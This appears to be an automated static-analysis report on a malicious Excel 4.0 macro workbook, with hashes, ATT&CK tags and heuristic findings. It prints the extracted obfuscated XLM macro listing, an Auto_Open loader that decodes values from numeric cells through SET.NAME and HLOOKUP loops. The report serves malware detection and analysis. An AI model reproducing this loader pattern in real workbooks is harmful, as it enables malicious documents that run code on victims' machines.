Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 482b18cb44566dcc…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:02 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 361f293e0bd3476ccbd4f9d58434c949 SHA-1: f8213c87d211f9a560451eb496d82be77bbe5fb4 SHA-256: 482b18cb44566dcc9d13c95f046cb455ee5d1bbeef47f60bf063dccc1a298f6c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook. Heuristics indicate the presence of an Auto_Open defined name, which is a common technique for executing malicious code upon opening the document. The macro sheet contains references to dangerous formula APIs, specifically 'RUN', suggesting it is designed to execute arbitrary commands or download additional payloads. No specific family could be identified.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6625 bytes
SHA-256: 81357d75b6fa3c717bb03c8fbbae8795ce2a5fb0a6c808ac18c9b5ef353f715e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uOid
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E166 
' 0018     25 LABEL : Cell Value, String Constant - frNSihpNtT len=0 
' 0018     21 LABEL : Cell Value, String Constant - FWpxIb len=0 
' 0018     27 LABEL : Cell Value, String Constant - HlKwJqifHpBA len=0 
' 0018     20 LABEL : Cell Value, String Constant - ILAlw len=0 
' 0018     20 LABEL : Cell Value, String Constant - iRnTk len=0 
' 0018     22 LABEL : Cell Value, String Constant - JpeOkOu len=0 
' 0018     27 LABEL : Cell Value, String Constant - jSKUfiapmHeW len=0 
' 0018     23 LABEL : Cell Value, String Constant - JXDUvgsc len=0 
' 0018     26 LABEL : Cell Value, String Constant - NoqJebhGhsn len=0 
' 0018     20 LABEL : Cell Value, String Constant - nRgoZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ppXmUcsIqo len=0 
' 0018     21 LABEL : Cell Value, String Constant - PQtlou len=0 
' 0018     27 LABEL : Cell Value, String Constant - qxiNGiqPNlIV len=0 
' 0018     26 LABEL : Cell Value, String Constant - SEHgqzFaYNW len=0 
' 0018     22 LABEL : Cell Value, String Constant - tIamNeY len=0 
' 0018     25 LABEL : Cell Value, String Constant - tUjLDQTBAP len=0 
' 0018     20 LABEL : Cell Value, String Constant - uHVDo len=0 
' 0018     25 LABEL : Cell Value, String Constant - wyMBtUsODb len=0 
' 0018     21 LABEL : Cell Value, String Constant - YtagQj len=0 
' 0018     20 LABEL : Cell Value, String Constant - YYwkY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uOid,E68,"SET.NAME("tIamNeY",0+VALUE("0"))",""
'  uOid,E70,"SET.NAME("iRnTk",tIamNeY)",""
'  uOid,E72,"SET.NAME("wyMBtUsODb",tIamNeY)",""
'  uOid,E74,"SET.NAME("SEHgqzFaYNW",COUNTA(YYwkY))",""
'  uOid,E78,"SET.NAME("nRgoZ",COUNTA(frNSihpNtT))",""
'  uOid,E83,[],""
'  uOid,E86,"SET.NAME("HlKwJqifHpBA","")",""
'  uOid,E90,"iRnTk",""
'  uOid,E94,"SET.NAME("ILAlw",HLOOKUP("*",YYwkY,iRnTk,FALSE))",""
'  uOid,S97,"",853.00000000000000000000
'  uOid,E98,"tUjLDQTBAP",""
'  uOid,S98,"",438.00000000000000000000
'  uOid,S99,"",44.00000000000000000000
'  uOid,S100,"",-94.00000000000000000000
'  uOid,S101,"",-611.00000000000000000000
'  uOid,E102,"SET.NAME("jSKUfiapmHeW",tIamNeY)",""
'  uOid,S102,"",-633.00000000000000000000
'  uOid,E107,[],""
'  uOid,E111,"jSKUfiapmHeW",""
'  uOid,E116,"JXDUvgsc",""
'  uOid,E121,"PQtlou",""
'  uOid,E124,"YtagQj",""
'  uOid,E127,"SET.NAME("ppXmUcsIqo",VALUE(HLOOKUP("*",frNSihpNtT,YtagQj,FALSE)))",""
'  uOid,E130,"FWpxIb",""
'  uOid,E133,"HlKwJqifHpBA",""
'  uOid,E135,"wyMBtUsODb",""
'  uOid,E138,NEXT(),""
'  uOid,E143,"NoqJebhGhsn",""
'  uOid,E147,[],""
'  uOid,E151,"qxiNGiqPNlIV",""
'  uOid,E156,NEXT(),""
'  uOid,E161,RETURN(),""
'  uOid,E191,"SET.NAME("uHVDo",E68)",""
'  uOid,E195,"YYwkY",""
'  uOid,E197,"SET.NAME("frNSihpNtT",R55C11)",""
'  uOid,E200,"SET.NAME("qxiNGiqPNlIV",211)",""
'  uOid,E205,"SET.NAME("JpeOkOu",5)",""
'  uOid,E210,uHVDo(),""
'  uOid,E211,HALT(),""